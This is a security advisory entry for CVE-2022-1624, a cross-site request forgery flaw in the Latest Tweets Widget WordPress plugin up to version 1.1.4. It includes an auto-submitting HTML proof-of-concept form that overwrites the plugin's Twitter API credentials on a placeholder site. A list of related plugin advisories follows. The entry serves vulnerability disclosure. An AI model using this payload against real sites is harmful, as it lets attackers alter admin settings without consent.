Latest Tweets Widget <= 1.1.4 – Arbitrary Settings Update via CSRF | CVE 2022-1624 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=twitter-api-admin" method="POST">
    <input type="text" name="saf_twitter[consumer_key]" value="hacked">
    <input type="text" name="saf_twitter[consumer_secret]" value="hacked">
    <input type="text" name="saf_twitter[access_key]" value="">
    <input type="text" name="saf_twitter[access_secret]" value="">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

latest-tweets-widget

No known fix

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel ruf

Submitter website

https://daniel-ruf.de

Verified

Yes

WPVDB ID

06e547fd-cddf-4294-87be-54f58d6138a7

Timeline

Publicly Published

2022-05-18 (about 3 years ago)

Added

2022-05-18 (about 3 years ago)

Last Updated

2023-02-09 (about 2 years ago)

Other

Published

Title

Published

2025-01-16

Title

Len Slider <= 2.0.11 - Cross-Site Request Forgery to Reflected Cross-Site Scripting

Published

2025-06-05

Title

Admin Notes <= 1.1 - Cross-Site Request Forgery

Published

2022-07-05

Title

AnyMind Widget <= 1.1 - Stored Cross-Site Scripting via CSRF

Published

2025-09-26

Title

HidePost <= 2.3.8 - Cross-Site Request Forgery

Published

2025-09-22

Title

Emergency Password Reset < 9.4 - Cross-Site Request Forgery